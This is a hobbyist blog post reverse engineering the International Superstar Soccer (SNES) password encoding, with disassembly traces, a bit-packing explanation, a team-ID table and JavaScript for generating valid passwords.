Is a geek

Reverse Engineering the International Superstar Soccer Password System Part 2

2026-02-22 00:00:00 +0000

Previously

Last time, a year ago, I finally got my vacations and decided to enjoy my time by totally disconecting from the grid and...Just kidding, I decided to disassemble a game to answer a question I had for years.

The game was International super star soccer and the question was, why the password for that game was so big?

The answer then was that the password was basically a savestate with some encoding and a checksum.

I got so far to create actually valid passwords, without any control on where they lead you.

I promissed then I would go back to it and find out what the values on the password actually mean.

Well my dear blog reader/AI scrapper, it has been a year and I am on vacations again, so the time finally came! Let's do it!

Note: If you just want the results, check the generator here or jump directly to the code

Before starting

Using AI

I know everyone talks about it all the time, so feel free to skip this section. I think it is worth mentioning as this is not the typical AI usage.

I used a lot of AI this time (chatgpt and copilot).

It was really hit or miss.

AI really shined when I was close to the answer, I knew what part of the problem I was strugling with and I was able to recognize the answer was right. On those cases, the best results came when I didn't suggest any solution. The AI would suggest some things and I would check if they worked.

But then there were two other situations where AI was very bad (as in making me go on a totally wrong direction or being completetely useless). First was when the next step was not clear. The AI was always repeating the obvious and not coming up with any idea which I did not thougt about already. Second was when I was pursuing a wrong idea. The AI would jump hoops to keep on track, even if the idea was not working.

At some point it even added a bunch of magic constants just to make the logic work.

Anyway, in the end I think I would not be able to do this without AI. It is a really great tool for back and fort and the insights, although not entirely correct, helped a lot to get unstuck.

What we know so far

The password is a byte array delimited by 0xff with a maximum of 60 bytes.

The password is decoded using a counter that is incremented in counts of 6. The counter is divided by 8. The division result rounded down is the position on the decoded password to write the value using OR. The remainder is used to rotate the value.

I haven't found out the role for the value on the first position of the decoded password. It is used as an OR mask for other bytes.

The second value is a checksum.

All other values depend on the password type, that is calculated from bytes 2 and 3. Each type has a fixed password size.

Password numeric value is at 0x7ee2d0 address on memory on password screen.

The basic game types we get from the passwords so far are:

World series
International
Short league
Short tournament
Scenario

With all this information, it is possible to create a generator that rewrite passwords to make them valid passwords.

Cool, but pretty useless....

Maybe we can do better?

Start from the encoding

While previously we went with reverse engineering the decoding, to figure out what the values actually mean it is best to try reverse engineering the encoding part.

First step is to choose a game

I chose International cup with Brazil.

Got this group:

Brazil - Columbia - Argentina

First game, Columbia

On Brazil Stadium

Got a red card

Lost 4x0

Columbia 1 win 3 points

Argentina 0

Brazil 1 loss 0 points

Next game: Argentina

Password:

=YN♪< ↑T0π M★

But saving the gamestate before seeing the password and then re-opening the password screen again gave a different password!!!

nV★Kh -~3qZ ↓J

Interesting.

I will start with an assumption. Resources are scarce, memory is fixed, so I will assume the same place used to decode the passord is used for encoding. If this is true, the moment the password is encrypted, it will show up on the same memory address: 0x7ee2d0.

And then

Bingo!

Onto the next step!

Time to follow the stack

First I added a write breakpoint to the address 0x7ee2d0. First code that touches it is a clean up.

86cb0e	mvn	$7e, $7e

MVN is Move Memory Negative. This will fill the password area with 0xff.

And after a lot of clicking on step over, I got this at 7ee2d0

25 22 1f 28 27 12 1b 0d 22 2e 1d 29 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff

I need to answer two questions:

Where is the value bein encrypted and how?

Why is it random, and can I stabilize it to make it easier to debug?

Let's focus on the first one. I will check where the first value comes from. Maybe it is encrypted somewhere else and copied?

This is the instruction that writes the first value:

86cb87	sta	$7ee2d0,x	[7ee2d0]

This stores the value from a on our memory address, so we just need to find where the value comes from.

This is our code:

86cb64	sty	$06	[000006]
86cb66	jsl	$86cafe	[86cafe]
86cb6a	stz	$00	[000000]
86cb6c	stz	$02	[000002]
86cb6e	lda	$02	[000002]
86cb70	ldy	#$0008
86cb73	jsl	$808b4c	[808b4c]
86cb77	tax
86cb78	lda	$1700,x	[811700]
86cb7b	clc
86cb7c	rol
86cb7d	ror
86cb7e	dey
86cb7f	bpl	$cb7d	[86cb7d]
86cb81	ldx	$00	[000000]
86cb83	sep	#$20
86cb85	and	#$3f
86cb87	sta	$7ee2d0,x	[7ee2d0]
86cb8b	rep	#$20
86cb8d	lda	$02	[000002]
86cb8f	clc
86cb90	adc	#$0006
86cb93	sta	$02	[000002]
86cb95	inc	$00	[000000]
86cb97	lda	$00	[000000]
86cb99	cmp	$06	[000006]
86cb9b	bcc	$cb6e	[86cb6e]
86cb9d	rtl

And the command that loads a value to a (lda) seems to get it from address 0x811700.

We put a write breakpoint there and I ended up on the command that clears that memory region.

8089fd	rep	#$30
8089ff	phb
808a00	lda	#$0000
808a03	sta	$001700	[001700]
808a07	lda	#$0039
808a0a	ldx	#$1701
808a0d	txy
808a0e	iny
808a0f	mvn	$00, $00
808a12	plb
808a13	rtl

And stepping further:

83f471	lda	#$0008
83f474	sta	$00	[000000]
83f476	lda	$78	[000078] ; <<<<<<----- here
83f478	sta	$1700	[811700]
83f47b	ldx	#$1702

Aha, value from address 78 is the first value written. That low address sounds like something special.

If I look at the memory at address 78, it looks like a value going up all the time.

This could be a clock or maybe something else, but it really looks like a source of random values.

I guess we should not mess with address 78, but what happens when we freeze 0x811700?

We can find out by creating a cheat.

All those cheats you can use on emulators are, in fact, freezing an address in memory with a certain value.

So for example, setting infinite lives is just finding the live counter in memory and freezing it.

On our case, we want to set address 0x811700 to 00, so we create the cheat 81170000

And... success!

Password now is always B~DCD GC5K* KB

And we found out that the password is intentionally made to not repeat (or at least has 256 variations). Why?

I have no idea.

Anyway, now we can try figuring out the rest of the values. I know from my previous vacation that the second byte is a checksum.

So, is it calculated after? Where is the encoding? What are the original values?

Let's follow the code and see where the next values come from.

I will use this time chatgpt to help and comment on what each command is doing (and hopefully it will not hallucinate)

83f46d  jsl  $8089fd [8089fd]   # JSL = Jump to Subroutine Long:
                               # pushes return address (and sets it up for RTL),
                               # then loads the 24-bit PC (bank:addr) = $80:89FD.

83f471  lda  #$0008             # LDA immediate: load the constant $0008 into A.

83f474  sta  $00 [000000]       # STA direct page: store A into RAM at DP+$00
                               # (here it resolves to absolute address $000000).

83f476  lda  $78 [000078]       # LDA direct page: load A from RAM at DP+$78
                               # (here it resolves to $000078).

83f478  sta  $1700 [811700]     # STA absolute: store A into address $1700
                               # (shown effective address is $81:1700 in this trace).

83f47b  ldx  #$1702             # LDX immediate: load the constant $1702 into X.

83f47e  lda  $1648 [811648]     # LDA absolute: load A from address $1648
                               # (effective address shown as $81:1648).

83f481  bit  #$0020             # BIT immediate: AND A with $0020 to set Z flag.
                               # Z=1 if (A & $0020)==0, Z=0 otherwise.
                               # (Immediate BIT does not modify A.)

83f484  beq  $f489 [83f489]     # BEQ: branch if Equal (i.e., Z=1) to $83:F489.

83f486  jmp  $f54d [83f54d]     # JMP absolute: unconditional jump to $83:F54D.

83f489  bit  #$0004             # BIT immediate: test bit $0004 in A via AND,
                               # updates Z accordingly.

83f48c  bne  $f4ab [83f4ab]     # BNE: branch if Not Equal (i.e., Z=0) to $83:F4AB.

83f48e  bit  #$0002             # BIT immediate: test bit $0002 in A, updates Z.

83f491  beq  $f496 [83f496]     # BEQ: branch if Z=1 to $83:F496.

83f493  jmp  $f581 [83f581]     # JMP: unconditional jump to $83:F581.

83f496  bit  #$0400             # BIT immediate: test bit $0400 in A, updates Z.

83f499  beq  $f49e [83f49e]     # BEQ: branch if Z=1 to $83:F49E.

83f49b  jmp  $f5c0 [83f5c0]     # JMP: unconditional jump to $83:F5C0.

83f49e  ldy  #$b4db             # LDY immediate: load the constant $B4DB into Y.

83f4a1  jsr  $f5df [83f5df]     # JSR absolute: jump to subroutine at $83:F5DF,
                               # pushing 16-bit return address (for RTS).

83f4a4  lda  #$0014             # LDA immediate: load constant $0014 into A.

83f4a7  jsr  $f618 [83f618]     # JSR: call subroutine at $83:F618 (return via RTS).

83f4aa  rtl                      # RTL = Return from Long subroutine:
                               # pulls 24-bit return address set up by JSL and returns.

The constants 0x0020 0x0400 and others are really familiar (from part 1). They look like the bits that indicate what is the type of the password.

I would guess address 0x811648 holds the type of the current game, and then each type has a different logic to encode the values.

So, I reloaded the game and selected different game types. Turns out this value changes as soon as I select a game type:

- x04 x02 for international

- x21 x00 for world series

- x00 x10 for scenario

- x03 x00 for short league

- x01 x44 for short tournament

I will also decode the password with my previous password generator to check what are the values:

B~DCD GC5K* KB

[0x00, 0x2c, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x00, 0x00]

Which from what we know so far is

0x00 - Randomizer (always zero due our cheat)

0x2c - Checksum

0x04, 0x02 - Game mode

Which leaves for game state:

0x11, 0x90, 0x07, 0x7e, 0x00, 0x00 (where maybe 0x00 is a terminator?)

Before trying to keep reverse engineering the code, maybe we can do a trial and error and change some values, then reencode it.

I also played another game with same conditions where I won. The password with fixed random was:

B~NCD GC5K* K1

Incredbly close to the one where I lost. I think maybe that's the reason for the randomizer.

The decoded password is:

[0x00, 0xac, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x80, 0x00]

Which means the only difference is on byte index 8, or address 811708

We can put a write breakpoint there.

And we end up on ror $00, x (comments partially from chatgpt):

; Where
; LDA – Load Accumulator (loads a value into register A)
; STA – Store Accumulator (stores A into memory)
; LDY – Load Index Y (loads a value into register Y)
; STY – Store Index Y (stores Y into memory)
; INY – Increment Y (adds 1 to register Y)
; INX – Increment X (adds 1 to register X)
; AND – Logical AND (bitwise AND between A and value, result in A)
; LSR – Logical Shift Right (shifts bits right, bit 0 goes to Carry)
; ROR – Rotate Right (rotates bits right through Carry)
; DEC – Decrement (subtracts 1 from a memory value)
; BEQ – Branch if Equal (branches if Zero flag is set)
; BNE – Branch if Not Equal (branches if Zero flag is clear)
; BRA – Branch Always (unconditional branch)
; SEP – Set Processor Status bits (sets flags in the status register)
; REP – Reset Processor Status bits (clears flags in the status register)
; RTS – Return from Subroutine (returns from a JSR call)
; Low values are variables on the stack
;  

83f5df	lda	#$007e ; Load constant $007E into A (16-bit here), Looks like a bank/value used later by the routine (often "work RAM bank" context).
83f5e2	sta	$12	[000012] ; Store A into direct page $12 (so $12/$13 now hold $007E). Likely a parameter / bank selector / base value for later pointer math.
83f5e4	sty	$08	[000008] ; Save incoming Y into DP $08/$09. Y is being used as an iterator over a table; this preserves the start.
  83f5e6	ldy	$08	[000008] ; Loop start. Restore Y from DP $08/$09. Start/continue outer loop using Y as "current table entry pointer".
  83f5e8	lda	$0000,y	[81b3c4] ; Load a 16-bit value from (base+$0000+Y). This is probably the first field of a table entry (often a pointer/offset).
  83f5eb	beq	$f617	[83f617] ; If that 16-bit value is zero, table terminator reached -> exit (RTS).
  83f5ed	sta	$10	[000010] ; Save that 16-bit value into DP $10/$11. Later used as an *indirect pointer* via LDA [$10].
  83f5ef	lda	$0002,y	[81b3c6] ; Load the next 16-bit field of the table entry (at Y+2).
  83f5f2	and	#$00ff ; Mask to low byte only. So the table's "count/length" is stored in the low byte of this word.
  83f5f5	sta	$0c	[00000c] ; Store that count into DP $0C/$0D. Inner-loop counter: how many bits/steps to process for this entry.
  83f5f7	iny ; Y += 1
  83f5f8	iny ; Y += 1
  83f5f9	iny ; Y += 1  (total Y += 3)
                ; Advance Y to the *next* table entry.
                ; (This implies entries are packed oddly: 3 bytes step, or you're iterating a byte stream
                ;  while reading words from it. Debugger still shows word reads at $0000,y and $0002,y.)
  83f5fa	sty	$08	[000008] ; Save updated Y back into DP $08/$09. So the outer loop can resume from the next entry after finishing this one.
  83f5fc	lda	[$10]	[7edc02] ; Load A from the *far indirect* address in DP $10/$11 (24-bit pointer via DBR). This is the *source byte/word* being encoded into the password buffer via rotates.
  83f5fe	sep	#$20 ; Set M flag => A becomes 8-bit (accumulator is now 8-bit wide). From here, STA/LSR operate on a single byte value.
  83f600	sta	$0e	[00000e] ; Store the 8-bit A into DP $0E. Working register: current source byte being shifted out bit-by-bit.
    83f602	lsr	$0e	[00000e] ; Loop start. Logical Shift Right DP $0E. Bit0 of $0E goes into Carry (C), and $0E shifts right (fills with 0).
                             ; This is producing one bit at a time in C for the next rotate.
    83f604	ror	$00,x	[001707] ; Value is written here
                                 ; Rotate Right the byte at (DP $00 + X) through Carry.
                                 ; This is the key write:
                                 ; - old Carry becomes bit7 of the destination byte
                                 ; - destination bit0 becomes new Carry
                                 ; Net effect: you are *packing bits* from the source stream into a byte array at $00+X,
                                 ; one bit per iteration, MSB-first injection (because Carry goes into bit7).
    83f606	dec	$00	[000000]     ; Decrement DP $00. DP $00 is acting like "bits remaining in current output byte" (a countdown).
    83f608	bne	$f60f	[83f60f] ; If DP $00 != 0, keep using the same output byte ($00+X). When it hits 0, you move to the next output byte.
    83f60a	inx ; X++ (move to next output byte in the destination buffer).
    83f60b	lda	#$08 ; Load 8 into A (still 8-bit due to SEP #$20).
    83f60d	sta	$00	[000000] ; Reset DP $00 to 8. That means: "we have 8 bits to fill in this new output byte".
    83f60f	dec	$0c	[00000c] ; Decrement the per-entry bit/step counter.
    83f611	bne	$f602	[83f602] ; Loops to 83f602
                                 ; If more bits/steps remain for this entry, loop back:
                                 ; - shift next bit out of $0E (LSR $0E)
                                 ; - rotate it into destination (ROR $00,X)
                                 ; Repeat until $0C reaches zero.
  83f613	rep	#$20 ; Clear M flag => A becomes 16-bit again
83f615	bra	$f5e6	[83f5e6] ; Loops to 82f5e6
                             ; Unconditional branch back to outer loop:
                             ; process next table entry (Y restored from $08).
83f617	rts ; Return from subroutine (JSR caller).

So basically what is happening (simplified):

Parameter b3a7 (comes from y register)
Parameter 1702 (comes from x register)

var passwordAddressOnMemory = 1702 // this is x register during the entire logic
var address = 007e // we call $12 address for commodity
var addressCursor = b3a7 // we call $08 addressCursor
var bitStep = 8 // It starts with 8, this is $00, this is the counter for the bit output
/// loop
while(true) { // we jump out when valueFromCursor is zero
  var valueFromCursor = loadValueFrom(addressCursor)
  if (valueFromCursor == 0) return
  var currentCursorAddress = valueFromCursor // we call $10 currentCursorAddress 
  var bitCount = loadValueFrom(addressCursor + 2) & 00ff // get the bit count (we get only the low byte), we call $0c bitCount
  addressCursor = addressCursor + 3 // advance 3 bytes on the cursor 
  var valueToUnpack = loadValueFrom(currentCursorAddress) // load actual value from cursor start, for example on first pass value comes from 811648 04 02 (0204) 
  //  we call $0e valueToUnpack
  // loop start
  while(bitCount > 0){
    shiftLeftRotateRight(valueToUnpack, passwordAddressOnMemory) // this is a very clever trick
    // There is a register, the Carry flag that in this case serves like an extra bit when shifting left
    // So, valueToUnpack loses a bit to the carry flag
    // Then, when rotating Right the value already on the password the carry bit is used as the last bit
    // So it enters the value on the current password byte (811702...811708) 
    bitStep -- // this counts from 8 to 0 and counts when it is time to go to the next pass output
    if(bitStep == 0) {
      passwordAddressOnMemory++ // actualy the x register, command inx
      bitStep = 8 // on $00, commands lda #$08 writes8 on register a, sta $00 to put the value on the stack at $00
    }
    bitCount --
  }
}

Summarizing, it is a table of memory addresses wth bit counts. For each address, the number of bits is read and concatenated on the destination.

This is a tecnique known as bitpacking.

It makes a lot of sense here because the password must be small. It also explains why changing the characteres on the password have random results. That's because the values do not align with the characters.

So, knowing how many entries are on the table and their sizes we can create a function that generates the password and figure out what each entry represents by trial and error. Hopefully all other password types work the same...

Hey, Let's look at some raw memory :)

First the address/bit count table. It is a 3 byte array terminated by null at address b3a7.

Or writing it down and using little endian:

How many bits to copy	Address where to copy them from
8	1648
8	1649
4	1640
7	1652
3	1f9c

And from those addresses we get:

Right from the start we see some familiar values. 0x04 0x02 is the game type.

Then some other values that we don't know yet. And then that is it. But... It does not fit the whole password.

What?

After more time I care to admit, I realized it was called twice!! Let's see from where by following where it returns to.

83f4ab	ldy	#$b3a7
83f4ae	jsr	$f5df	[83f5df]
...
83f4d2	ldy	#$b3bb
83f4d5	jsr	$f5df	[83f5df]
...
83f4f2	rtl

So the password is compose by two address tables. $b3a7 and $b3bb.

Let's see b3bb:

00 dc 06
01 dc 06
02 dc 06
f3 dd 02
00 00 00

And together with our previous entry:

How many bits to copy	Address where to copy them from
8	1648
8	1649
4	1640
7	1652
3	1f9c
6	dc00
6	dc01
6	dc02
2	ddf3

Total 44 bits

We can check the values on the register. We need to log the command after the change so we see the values:

lda	$0002,y
and	#$00ff 
sta	$0c ; Log here, register a has the bit count 
...
lda	[$10] 
sep	#$20 ; Log here, register a has the value to be written
...

 
See that it starts on 1702 because 1700 is the randomizer and 1701 is reserved for the checksum.
83f5f5 sta $0c        [00000c] A:0008 X:1702 Y:b3a7 S:0190 D:0000 DB:81 .....I.. V: 48 H:296 F:33
83f5fe sep #$20                A:0204 X:1702 Y:b3aa S:0190 D:0000 DB:81 .....I.. V: 48 H:331 F:33

write 8 bits 0x04

83f5f5 sta $0c        [00000c] A:0008 X:1703 Y:b3aa S:0190 D:0000 DB:81 .....I.. V: 50 H: 82 F:33
83f5fe sep #$20                A:0002 X:1703 Y:b3ad S:0190 D:0000 DB:81 .....I.. V: 50 H:118 F:33

write 8 bits 0x02

83f5f5 sta $0c        [00000c] A:0004 X:1704 Y:b3ad S:0190 D:0000 DB:81 .....I.. V: 51 H:219 F:33
83f5fe sep #$20                A:0001 X:1704 Y:b3b0 S:0190 D:0000 DB:81 .....I.. V: 51 H:255 F:33

write 4 bits 0x01

83f5f5 sta $0c        [00000c] A:0007 X:1704 Y:b3b0 S:0190 D:0000 DB:81 .....I.. V: 52 H:158 F:33
83f5fe sep #$20                A:0001 X:1704 Y:b3b3 S:0190 D:0000 DB:81 .....I.. V: 52 H:194 F:33

write 7 bits 0x01

83f5f5 sta $0c        [00000c] A:0003 X:1705 Y:b3b3 S:0190 D:0000 DB:81 .....I.. V: 53 H:241 F:33
83f5fe sep #$20                A:0002 X:1705 Y:b3b6 S:0190 D:0000 DB:81 .....I.. V: 53 H:277 F:33

write 3 bits 0x02

83f5f5 sta $0c        [00000c] A:0006 X:1705 Y:b3bb S:0190 D:0000 DB:81 .....I.. V: 54 H:295 F:33
83f5fe sep #$20                A:201e X:1705 Y:b3be S:0190 D:0000 DB:81 .....I.. V: 54 H:330 F:33

write 6 bits 0x1e

83f5f5 sta $0c        [00000c] A:0006 X:1706 Y:b3be S:0190 D:0000 DB:81 .....I.. V: 55 H:332 F:33
83f5fe sep #$20                A:1f20 X:1706 Y:b3c1 S:0190 D:0000 DB:81 .....I.. V: 56 H: 28 F:33

write 6 bits 0x20

83f5f5 sta $0c        [00000c] A:0006 X:1707 Y:b3c1 S:0190 D:0000 DB:81 .....I.. V: 57 H: 30 F:33
83f5fe sep #$20                A:ff1f X:1707 Y:b3c4 S:0190 D:0000 DB:81 N....I.. V: 57 H: 66 F:33

write 6 bits 0x1f

83f5f5 sta $0c        [00000c] A:0002 X:1708 Y:b3c4 S:0190 D:0000 DB:81 .....I.. V: 58 H: 68 F:33
83f5fe sep #$20                A:0000 X:1708 Y:b3c7 S:0190 D:0000 DB:81 .....IZ. V: 58 H:104 F:33

write 2 bits 0x00

And we know the decoded result is:

[0x00, 0x2c, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x00, 0x00]

So, does it match? Let's test:

I will use Javascript because it is so easy to just run it on dev tools and also I will be reusing the code for the password generator.

function bitPackValues(values) {
  // result[0]=randomizer, result[1]=checksum placeholder
  // bytes written start at result[2] (1702).
  const result = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]; // will change bytes as needed

  let bitsLeftInCurrentByte = 8; // corresponds to bits remaining.
  let currentIndex = 2;          // starting at 0x1702
  let carry = 0;                 // CPU carry flag

  for (const [bitCount, value] of values) {
    let src = value;

    for (let i = 0; i < bitCount; i++) {
      // Carry gets bit at position 0, src shifts right, bit at position 7 fills is now 0
      // Just like on the actual game
      carry = src & 1;
      src = (src >>> 1) & 0xff;

      let dest = result[currentIndex] & 0xff; // we keep it byte sized
      // We move one to the right and write the carry on the 8 bit
      // In other words, the bit enters on the left
      dest = ((dest >>> 1) | (carry << 7)) & 0xff;
      result[currentIndex] = dest;
      bitsLeftInCurrentByte--;
      if (bitsLeftInCurrentByte === 0) { // no more space, advance one byte
        currentIndex++;
        bitsLeftInCurrentByte = 8;
      }
    }
  }

  return result;
}

function hex(n) { return "0x" + n.toString(16).padStart(2, "0"); }

// bits and value
const valuesForInternationalEliminationPhaseBrazilLost = [
  [8,  0x04],
  [8,  0x02],
  [4,  0x01],
  [7,  0x01],
  [3,  0x02],
  [6,  0x1e],
  [6,  0x20],
  [6,  0x1f],
  [2,  0x00],
];
const passwordDecoded = bitPackValues(valuesForInternationalEliminationPhaseBrazilLost);

// Expected decoded payload bytes (starting at 1702 == decoded[2])
// This is Brazil lost B~DCD GC5K* KB
const expected = [0x00, 0x2c, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x00, 0x00];

console.log("Computed:", passwordDecoded.map(hex));
console.log("Expected:", expected.map(hex));

And the output (ignore first two bytes):

Computed: (10) ['0x00', '0x00', '0x04', '0x02', '0x11', '0x90', '0x07', '0x7e', '0x00', '0x00']
Expected: (10) ['0x00', '0x2c', '0x04', '0x02', '0x11', '0x90', '0x07', '0x7e', '0x00', '0x00']

So, even though we don't know what these values are, we can already in theory generate a password!!!

All we need is to use the encoding logic.

Another interesting thing seems to be that the data part os the password has size 64 bits, but our data table only uses 50 bits.

And, we have enough information to extract the values from existing passwords so we can compare them and try to find what each parameter does.

We just need the code to do it.

function extractParameters(decoded) {
  // fixed, known by the format
  const bitCounts = [8, 8, 4, 7, 3, 6, 6, 6, 2];

  // Step 1: figure out how many bits are used in each payload byte (starting at decoded[2])
  const bitsUsedInByte = [];
  let bitsLeftInCurrentByte = 8;
  let byteNumber = 0; // 0 means decoded[2]

  for (const bitCount of bitCounts) {
    for (let i = 0; i < bitCount; i++) {
      bitsUsedInByte[byteNumber] = (bitsUsedInByte[byteNumber] || 0) + 1;

      bitsLeftInCurrentByte--;
      if (bitsLeftInCurrentByte === 0) {
        byteNumber++;
        bitsLeftInCurrentByte = 8;
      }
    }
  }

  // Step 2: traverse the bitstream in the final stored order and rebuild params
  const params = [];

  let currentIndex = 2; // decoded[2] is first packed byte
  let bitOffsetInUsedRegion = 0;

  for (const bitCount of bitCounts) {
    let value = 0;

    for (let i = 0; i < bitCount; i++) {
      const used = bitsUsedInByte[currentIndex - 2] || 0;
      const startBit = 8 - used; // where the "used region" begins (e.g. 4-bit => start at bit 4)

      const bitPosition = startBit + bitOffsetInUsedRegion; // left -> right inside used region
      const bit = (decoded[currentIndex] >>> bitPosition) & 1;

      // original encoder consumed value LSB-first, so rebuild LSB-first
      value |= (bit << i);

      bitOffsetInUsedRegion++;
      if (bitOffsetInUsedRegion === used) {
        currentIndex++;
        bitOffsetInUsedRegion = 0;
      }
    }

    params.push(value);
  }

  return params;
}

// demo
const payload = [0x00, 0x2c, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x00, 0x00];
const params = extractParameters(payload);

function hex(n) { return "0x" + n.toString(16).padStart(2, "0"); }
console.log(params.map(hex));
// -> [ '0x04', '0x02', '0x01', '0x01', '0x02', '0x1e', '0x20', '0x1f', '0x00' ]

// Or better, non hex  
console.log(params);
// -> [4, 2, 1, 1, 2, 30, 32, 31, 0]

I need a play with a different team.

So far I have:

Columbia - Argentina - Brazil
International Brazil lost:
B~DCD GC5K* KB  
decoded: [0x00, 0x2c, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x00, 0x00]  
params extracted: [4, 2, 1, 1, 2, 30, 32, 31, 0] (decimal instead of hex)

Columbia - Argentina - Brazil
International Brazil win:
B~NCD GC5K* K1  
decoded: [0x00, 0xac, 0x04, 0x02, 0x11, 0x90, 0x07, 0x7e, 0x80, 0x00]  
params extracted: [4, 2, 1, 1, 2, 30, 32, 31, 2]  

Columbia - Argentina - Brazil
International Argentina lost:
B(spades)GCD GC?8K LB
decoded: [0x00, 0x4f, 0x04, 0x02, 0x11, 0xd0, 0xe7, 0x81, 0x00, 0x00]
params extracted: [4, 2, 1, 1, 2, 31, 30, 32, 0]  

Japan - Turkey - S. Korea  
Japan lost:  
BLFCD GCG7d JB  
decoded: [0x00, 0x32, 0x04, 0x02, 0x11, 0x10, 0xa6, 0x65, 0x00, 0x00]  
params extracted: [4, 2, 1, 1, 2, 24, 26, 25, 0]

I think I see a pattern :)

What happens when I try 32, 31, 30.

// bits and value
bitPackValues([
  [8,  0x04],
  [8,  0x02],
  [4,  0x01],
  [7,  0x01],
  [3,  0x02],
  [6,  32],
  [6,  31],
  [6,  30],
  [2,  0x00],
]).map(hex);
 // ['0x00', '0x00', '0x04', '0x02', '0x11', '0x10', '0xf8', '0x79', '0x00', '0x00']

And encode and calculate checksum with the previous tool, we get:

B1MCD GCG*8 KB

OH YEAH!!

Can we get Japan here?

// bits and value
bitPackValues([
  [8,  0x04],
  [8,  0x02],
  [4,  0x01],
  [7,  0x01],
  [3,  0x02],
  [6,  24],
  [6,  31],
  [6,  30],
  [2,  0x00]
]).map(hex);

 // [0x00,0x00,0x04,0x02,0x11,0x10,0xf6,0x79,0x00,0x00]

BgMCD GCG↓8 KB

Are there any enforced restrictions on teams? Let`s check!

[
  [8,  0x04],
  [8,  0x02],
  [4,  0x01],
  [7,  0x01],
  [3,  0x02],
  [6,  24],
  [6,  24],
  [6,  24],
  [2,  0x00]
]
B*BCD GCGJJ JB

That would have been an interesting cup :D

What about the other values? After trial and error I get some of them:

[4, 2, 1, 1, 2, 24, 26, 25, 0]  
[game type, game type, param1, param2, param3, player team, team, team, game result]

Where:

param1: 0 lets you chose a team, with the result, abive 0 it has no apparent effect

param2: No effect?

param3: No effect?

teams:

parameter	Team	hex
0	Italy	0x00
1	Holland	0x01
2	England	0x02
3	Norway	0x03
4	Spain	0x04
5	Ireland	0x05
6	Portugal	0x06
7	Denmark	0x07
8	Germany	0x08
9	France	0x09
10	Belgium	0x0A
11	Sweden	0x0B
12	Romania	0x0C
13	Bulgaria	0x0D
14	Russia	0x0E
15	Swiss	0x0F
16	Greece	0x10
17	Croatia	0x11
18	Austria	0x12
19	Wales	0x13
20	Scotland	0x14
21	N. Ireland	0x15
22	The Czech Rep.	0x16
23	Poland	0x17
24	Japan	0x18
25	S. Korea	0x19
26	Turkey	0x1A
27	Nigeria	0x1B
28	Cameroon	0x1C
29	Morocco	0x1D
30	Brazil	0x1E
31	Argentina	0x1F
32	Columbia	0x20
33	Mexico	0x21
34	USA	0x22
35	Uruguay	0x23
36	All Star	0x24
37	Eurostar.a	0x25
38	Eurostar.b	0x26
39	Asian star	0x27
40	AfricanStar	0x28
41	AllAmericanStar	0x29

Greater than 41: Glitchy

game result: 0-Lost, 1-Draw, 2-Win, Above 2 always win

Now on to the other password types. The hope is that they all use the same logic, so all it is needed is to print the logs for the bit counts.

I advanced to the preliminary with Brazil (lost), and luckly the same logic is used. The password is longer.

B=gCB LB?(spades)q g(note)LBB

Teams:

Brazil

Russia

Romania

Morocco

And the logs:

83f5f5 sta $0c        [00000c] A:0008 X:1702 Y:b3a7 S:0190 D:0000 DB:81 .....I.. V: 48 H:296 F:17
83f5fe sep #$20                A:0005 X:1702 Y:b3aa S:0190 D:0000 DB:81 .....I.. V: 48 H:331 F:17

8 bits 0x05

83f5f5 sta $0c        [00000c] A:0008 X:1703 Y:b3aa S:0190 D:0000 DB:81 .....I.. V: 50 H: 82 F:17
83f5fe sep #$20                A:0000 X:1703 Y:b3ad S:0190 D:0000 DB:81 .....IZ. V: 50 H:118 F:17

8 bits 0x00 (those two bits are the game type)

83f5f5 sta $0c        [00000c] A:0004 X:1704 Y:b3ad S:0190 D:0000 DB:81 .....I.. V: 51 H:219 F:17
83f5fe sep #$20                A:0002 X:1704 Y:b3b0 S:0190 D:0000 DB:81 .....I.. V: 51 H:255 F:17

4 bis 0x02

83f5f5 sta $0c        [00000c] A:0007 X:1704 Y:b3b0 S:0190 D:0000 DB:81 .....I.. V: 52 H:158 F:17
83f5fe sep #$20                A:0000 X:1704 Y:b3b3 S:0190 D:0000 DB:81 .....IZ. V: 52 H:194 F:17

7 bits 0x00

83f5f5 sta $0c        [00000c] A:0003 X:1705 Y:b3b3 S:0190 D:0000 DB:81 .....I.. V: 53 H:241 F:17
83f5fe sep #$20                A:0002 X:1705 Y:b3b6 S:0190 D:0000 DB:81 .....I.. V: 53 H:277 F:17

3 bits 0x02

83f5f5 sta $0c        [00000c] A:0003 X:1705 Y:b3cc S:0190 D:0000 DB:81 .....I.C V: 54 H:316 F:17
83f5fe sep #$20                A:0003 X:1705 Y:b3cf S:0190 D:0000 DB:81 .....I.C V: 55 H: 11 F:17

3 bits 0x03

83f5f5 sta $0c        [00000c] A:0006 X:1706 Y:b3cf S:0190 D:0000 DB:81 .....I.. V: 55 H:221 F:17
83f5fe sep #$20                A:0e1e X:1706 Y:b3d2 S:0190 D:0000 DB:81 .....I.. V: 55 H:257 F:17

6 bits 0x1e (6 bits was team on the previous password and 0x1e is Brazil)

83f5f5 sta $0c        [00000c] A:0006 X:1706 Y:b3d2 S:0190 D:0000 DB:81 .....I.. V: 56 H:249 F:17
83f5fe sep #$20                A:0c0e X:1706 Y:b3d5 S:0190 D:0000 DB:81 .....I.. V: 56 H:285 F:17

6 bits 0x0e

83f5f5 sta $0c        [00000c] A:0006 X:1707 Y:b3d5 S:0190 D:0000 DB:81 .....I.. V: 57 H:287 F:17
83f5fe sep #$20                A:1d0c X:1707 Y:b3d8 S:0190 D:0000 DB:81 .....I.. V: 57 H:323 F:17

6 bits 0x0c

83f5f5 sta $0c        [00000c] A:0006 X:1708 Y:b3d8 S:0190 D:0000 DB:81 .....I.. V: 58 H:325 F:17
83f5fe sep #$20                A:ff1d X:1708 Y:b3db S:0190 D:0000 DB:81 N....I.. V: 59 H: 20 F:17

6 bits 0x1d

83f5f5 sta $0c        [00000c] A:0006 X:1709 Y:b3db S:0190 D:0000 DB:81 .....I.. V: 60 H: 22 F:17
